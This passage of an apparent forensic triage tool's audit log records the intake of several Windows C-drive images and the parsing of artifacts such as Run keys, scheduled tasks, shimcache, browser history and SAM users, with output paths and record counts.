  "file": "/mnt/data/Evidence/base-rd-01-cdrive.E01",
  "md5": "N/A (skipped)",
  "sha256": "N/A (skipped)",
  "size_bytes": 0,
  "source_mode": "path"
}
2026-06-13T06:14:09.811Z parsing_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "function": "runkeys"
}
2026-06-13T06:14:09.826Z parsing_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/runkeys.csv",
  "duration_seconds": 0.01576,
  "function": "runkeys",
  "record_count": 16
}
2026-06-13T06:14:09.829Z parsing_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "function": "tasks"
}
2026-06-13T06:14:10.201Z parsing_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/tasks.csv",
  "duration_seconds": 0.371466,
  "function": "tasks",
  "record_count": 1020
}
2026-06-13T06:14:10.211Z parsing_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "function": "services"
}
2026-06-13T06:14:10.919Z parsing_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/services.csv",
  "duration_seconds": 0.707896,
  "function": "services",
  "record_count": 625
}
2026-06-13T06:14:10.923Z parsing_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "function": "shimcache"
}
2026-06-13T06:15:02.905Z parsing_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/shimcache.csv",
  "duration_seconds": 51.98168,
  "function": "shimcache",
  "record_count": 796
}
2026-06-13T06:15:02.909Z parsing_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "function": "amcache"
}
2026-06-13T06:15:03.644Z parsing_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/amcache.csv",
  "duration_seconds": 0.735245,
  "function": "amcache",
  "record_count": 1001
}
2026-06-13T06:15:03.648Z parsing_started
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "function": "bam"
}
2026-06-13T06:15:03.664Z parsing_completed
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/bam.csv",
  "duration_seconds": 0.015261,
  "function": "bam",
  "record_count": 57
}
2026-06-13T06:15:03.667Z parsing_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "function": "userassist"
}
2026-06-13T06:15:03.708Z parsing_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/userassist.csv",
  "duration_seconds": 0.041293,
  "function": "userassist",
  "record_count": 121
}
2026-06-13T06:15:03.711Z parsing_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "function": "recyclebin"
}
2026-06-13T06:15:03.843Z parsing_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/recyclebin.csv",
  "duration_seconds": 0.132037,
  "function": "recyclebin",
  "record_count": 51
}
2026-06-13T06:15:03.847Z parsing_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "function": "browser.history"
}
2026-06-13T06:15:05.991Z parsing_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/browser.history.csv",
  "duration_seconds": 2.144603,
  "function": "browser.history",
  "record_count": 1226
}
2026-06-13T06:15:05.995Z parsing_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "function": "browser.downloads"
}
2026-06-13T06:15:08.522Z parsing_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/browser.downloads.csv",
  "duration_seconds": 2.527062,
  "function": "browser.downloads",
  "record_count": 61
}
2026-06-13T06:15:08.532Z parsing_started
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "function": "powershell_history"
}
2026-06-13T06:15:08.540Z parsing_completed
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/powershell_history.csv",
  "duration_seconds": 0.007413,
  "function": "powershell_history",
  "record_count": 50
}
2026-06-13T06:15:08.542Z parsing_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "function": "jumplist.automatic_destination"
}
2026-06-13T06:15:09.510Z parsing_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/jumplist.automatic_destination.csv",
  "duration_seconds": 0.967906,
  "function": "jumplist.automatic_destination",
  "record_count": 171
}
2026-06-13T06:15:09.514Z parsing_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "function": "jumplist.custom_destination"
}
2026-06-13T06:15:09.567Z parsing_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/jumplist.custom_destination.csv",
  "duration_seconds": 0.053053,
  "function": "jumplist.custom_destination",
  "record_count": 40
}
2026-06-13T06:15:09.570Z parsing_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "function": "shellbags"
}
2026-06-13T06:15:09.698Z parsing_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/shellbags.csv",
  "duration_seconds": 0.128018,
  "function": "shellbags",
  "record_count": 244
}
2026-06-13T06:15:09.701Z parsing_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "function": "sam"
}
2026-06-13T06:15:09.707Z parsing_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/sam.csv",
  "duration_seconds": 0.006238,
  "function": "sam",
  "record_count": 6
}
2026-06-13T06:15:09.710Z parsing_started
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "function": "defender.quarantine"
}
2026-06-13T06:15:09.714Z parsing_completed
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/defender.quarantine.csv",
  "duration_seconds": 0.003598,
  "function": "defender.quarantine",
  "record_count": 0
}
2026-06-13T06:15:09.717Z parsing_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "function": "network_history"
}
2026-06-13T06:15:09.723Z parsing_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/network_history.csv",
  "duration_seconds": 0.005803,
  "function": "network_history",
  "record_count": 2
}
2026-06-13T06:15:09.727Z image_added
{
  "case_id": "3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96",
  "image_id": "c165a62c-fcc2-4feb-b9a0-5e42fe834047",
  "label": "base-rd-02-cdrive"
}
2026-06-13T06:15:27.285Z evidence_intake
{
  "dissect_path": "/mnt/data/Evidence/base-rd-02-cdrive.E01",
  "evidence_file_hashes": [],
  "file": "/mnt/data/Evidence/base-rd-02-cdrive.E01",
  "md5": "N/A (skipped)",
  "sha256": "N/A (skipped)",
  "size_bytes": 0,
  "source_mode": "path"
}
2026-06-13T06:15:27.300Z parsing_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "function": "runkeys"
}
2026-06-13T06:15:27.319Z parsing_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/runkeys.csv",
  "duration_seconds": 0.018695,
  "function": "runkeys",
  "record_count": 17
}
2026-06-13T06:15:27.322Z parsing_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "function": "tasks"
}
2026-06-13T06:15:27.821Z parsing_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/tasks.csv",
  "duration_seconds": 0.498675,
  "function": "tasks",
  "record_count": 1015
}
2026-06-13T06:15:27.828Z parsing_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "function": "services"
}
2026-06-13T06:15:28.633Z parsing_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/services.csv",
  "duration_seconds": 0.80569,
  "function": "services",
  "record_count": 620
}
2026-06-13T06:15:28.651Z parsing_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "function": "shimcache"
}
2026-06-13T06:16:00.400Z parsing_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/shimcache.csv",
  "duration_seconds": 31.748515,
  "function": "shimcache",
  "record_count": 626
}
2026-06-13T06:16:00.404Z parsing_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "function": "amcache"
}
2026-06-13T06:16:01.132Z parsing_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/amcache.csv",
  "duration_seconds": 0.728271,
  "function": "amcache",
  "record_count": 836
}
2026-06-13T06:16:01.139Z parsing_started
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "function": "bam"
}
2026-06-13T06:16:01.148Z parsing_completed
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/bam.csv",
  "duration_seconds": 0.00881,
  "function": "bam",
  "record_count": 33
}
2026-06-13T06:16:01.151Z parsing_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "function": "userassist"
}
2026-06-13T06:16:01.193Z parsing_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/userassist.csv",
  "duration_seconds": 0.041515,
  "function": "userassist",
  "record_count": 133
}
2026-06-13T06:16:01.196Z parsing_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "function": "recyclebin"
}
2026-06-13T06:16:01.214Z parsing_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/recyclebin.csv",
  "duration_seconds": 0.018058,
  "function": "recyclebin",
  "record_count": 0
}
2026-06-13T06:16:01.218Z parsing_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "function": "browser.history"
}
2026-06-13T06:16:06.998Z parsing_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/browser.history.csv",
  "duration_seconds": 5.779925,
  "function": "browser.history",
  "record_count": 12714
}
2026-06-13T06:16:07.001Z parsing_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "function": "browser.downloads"
}
2026-06-13T06:16:09.116Z parsing_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/browser.downloads.csv",
  "duration_seconds": 2.115887,
  "function": "browser.downloads",
  "record_count": 0
}
2026-06-13T06:16:09.124Z parsing_started
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "function": "powershell_history"
}
2026-06-13T06:16:09.128Z parsing_completed
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/powershell_history.csv",
  "duration_seconds": 0.004062,
  "function": "powershell_history",
  "record_count": 4
}
2026-06-13T06:16:09.131Z parsing_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "function": "jumplist.automatic_destination"
}
2026-06-13T06:16:36.979Z parsing_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/jumplist.automatic_destination.csv",
  "duration_seconds": 27.848323,
  "function": "jumplist.automatic_destination",
  "record_count": 5538
}
2026-06-13T06:16:36.983Z parsing_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "function": "jumplist.custom_destination"
}
2026-06-13T06:16:37.018Z parsing_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/jumplist.custom_destination.csv",
  "duration_seconds": 0.035633,
  "function": "jumplist.custom_destination",
  "record_count": 18
}
2026-06-13T06:16:37.022Z parsing_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "function": "shellbags"
}
2026-06-13T06:16:37.060Z parsing_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/shellbags.csv",
  "duration_seconds": 0.037989,
  "function": "shellbags",
  "record_count": 62
}
2026-06-13T06:16:37.063Z parsing_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "function": "sam"
}
2026-06-13T06:16:37.070Z parsing_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/sam.csv",
  "duration_seconds": 0.006768,
  "function": "sam",
  "record_count": 6
}
2026-06-13T06:16:37.073Z parsing_started
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "function": "defender.quarantine"
}
2026-06-13T06:16:37.077Z parsing_completed
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/defender.quarantine.csv",
  "duration_seconds": 0.003242,
  "function": "defender.quarantine",
  "record_count": 0
}
2026-06-13T06:16:37.079Z parsing_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "function": "network_history"
}
2026-06-13T06:16:37.084Z parsing_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/network_history.csv",
  "duration_seconds": 0.004915,
  "function": "network_history",
  "record_count": 1
}
2026-06-13T06:16:37.089Z image_added
{
  "case_id": "3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96",
  "image_id": "6d4f645a-4d9c-46c3-a93f-317ae2800b3b",
  "label": "base-wkstn-01-c-drive"
}
2026-06-13T06:16:55.871Z evidence_intake
{
  "dissect_path": "/mnt/data/Evidence/base-wkstn-01-c-drive.E01",
  "evidence_file_hashes": [],
  "file": "/mnt/data/Evidence/base-wkstn-01-c-drive.E01",
  "md5": "N/A (skipped)",
  "sha256": "N/A (skipped)",
  "size_bytes": 0,
  "source_mode": "path"
}
2026-06-13T06:16:55.875Z parsing_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "function": "runkeys"
}
2026-06-13T06:16:55.890Z parsing_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/runkeys.csv",
  "duration_seconds": 0.014463,
  "function": "runkeys",
  "record_count": 21
}
2026-06-13T06:16:55.893Z parsing_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "function": "tasks"
}
2026-06-13T06:16:56.238Z parsing_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/tasks.csv",
  "duration_seconds": 0.345659,
  "function": "tasks",
  "record_count": 1037
}
2026-06-13T06:16:56.253Z parsing_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "function": "services"
}
2026-06-13T06:16:56.885Z parsing_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/services.csv",
  "duration_seconds": 0.63175,
  "function": "services",
  "record_count": 620
}
2026-06-13T06:16:56.892Z parsing_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "function": "shimcache"
}
2026-06-13T06:17:35.991Z parsing_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/shimcache.csv",
  "duration_seconds": 39.098977,
  "function": "shimcache",
  "record_count": 488
}
2026-06-13T06:17:36.004Z parsing_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "function": "amcache"
}
2026-06-13T06:17:38.478Z parsing_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/amcache.csv",
  "duration_seconds": 2.474147,
  "function": "amcache",
  "record_count": 2869
}
2026-06-13T06:17:38.531Z parsing_started
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "function": "bam"
}
2026-06-13T06:17:38.541Z parsing_completed
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/bam.csv",
  "duration_seconds": 0.009375,
  "function": "bam",
  "record_count": 39
}
2026-06-13T06:17:38.544Z parsing_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "function": "userassist"
}
2026-06-13T06:17:38.574Z parsing_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/userassist.csv",
  "duration_seconds": 0.030079,
  "function": "userassist",
  "record_count": 133
}
2026-06-13T06:17:38.577Z parsing_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "function": "recyclebin"
}
2026-06-13T06:17:38.628Z parsing_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/recyclebin.csv",
  "duration_seconds": 0.051131,
  "function": "recyclebin",
  "record_count": 19
}
2026-06-13T06:17:38.632Z parsing_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "function": "browser.history"
}
2026-06-13T06:17:40.910Z parsing_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/browser.history.csv",
  "duration_seconds": 2.278833,
  "function": "browser.history",
  "record_count": 2871
}
2026-06-13T06:17:40.915Z parsing_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "function": "browser.downloads"
}
2026-06-13T06:17:43.174Z parsing_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/browser.downloads.csv",
  "duration_seconds": 2.258994,
  "function": "browser.downloads",
  "record_count": 75
}
2026-06-13T06:17:43.187Z parsing_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "function": "jumplist.automatic_destination"
}
2026-06-13T06:17:44.244Z parsing_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/jumplist.automatic_destination.csv",
  "duration_seconds": 1.056654,
  "function": "jumplist.automatic_destination",
  "record_count": 256
}
2026-06-13T06:17:44.251Z parsing_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "function": "jumplist.custom_destination"
}
2026-06-13T06:17:44.292Z parsing_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/jumplist.custom_destination.csv",
  "duration_seconds": 0.040638,
  "function": "jumplist.custom_destination",
  "record_count": 29
}
2026-06-13T06:17:44.295Z parsing_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "function": "shellbags"
}
2026-06-13T06:17:44.366Z parsing_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/shellbags.csv",
  "duration_seconds": 0.070379,
  "function": "shellbags",
  "record_count": 139
}
2026-06-13T06:17:44.369Z parsing_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "function": "sam"
}
2026-06-13T06:17:44.374Z parsing_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/sam.csv",
  "duration_seconds": 0.005622,
  "function": "sam",
  "record_count": 6
}
2026-06-13T06:17:44.377Z parsing_started
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "function": "defender.quarantine"
}
2026-06-13T06:17:44.381Z parsing_completed
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/defender.quarantine.csv",
  "duration_seconds": 0.003344,
  "function": "defender.quarantine",
  "record_count": 0
}
2026-06-13T06:17:44.384Z parsing_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "function": "network_history"
}
2026-06-13T06:17:44.391Z parsing_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/network_history.csv",
  "duration_seconds": 0.006802,
  "function": "network_history",
  "record_count": 3
}
2026-06-13T06:17:44.395Z image_added
{
  "case_id": "3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96",
  "image_id": "801988de-0f5b-4a11-848b-ad1e6011fb88",
  "label": "base-wkstn-05-cdrive"
}
2026-06-13T06:17:52.844Z evidence_intake
{
  "dissect_path": "/mnt/data/Evidence/base-wkstn-05-cdrive.E01",
  "evidence_file_hashes": [],
  "file": "/mnt/data/Evidence/base-wkstn-05-cdrive.E01",
  "md5": "N/A (skipped)",
  "sha256": "N/A (skipped)",
  "size_bytes": 0,
  "source_mode": "path"
}
2026-06-13T06:17:52.852Z parsing_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "function": "runkeys"
}
2026-06-13T06:17:52.871Z parsing_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/runkeys.csv",
  "duration_seconds": 0.018909,
  "function": "runkeys",
  "record_count": 15
}
2026-06-13T06:17:52.874Z parsing_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "function": "tasks"
}
2026-06-13T06:17:52.969Z parsing_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
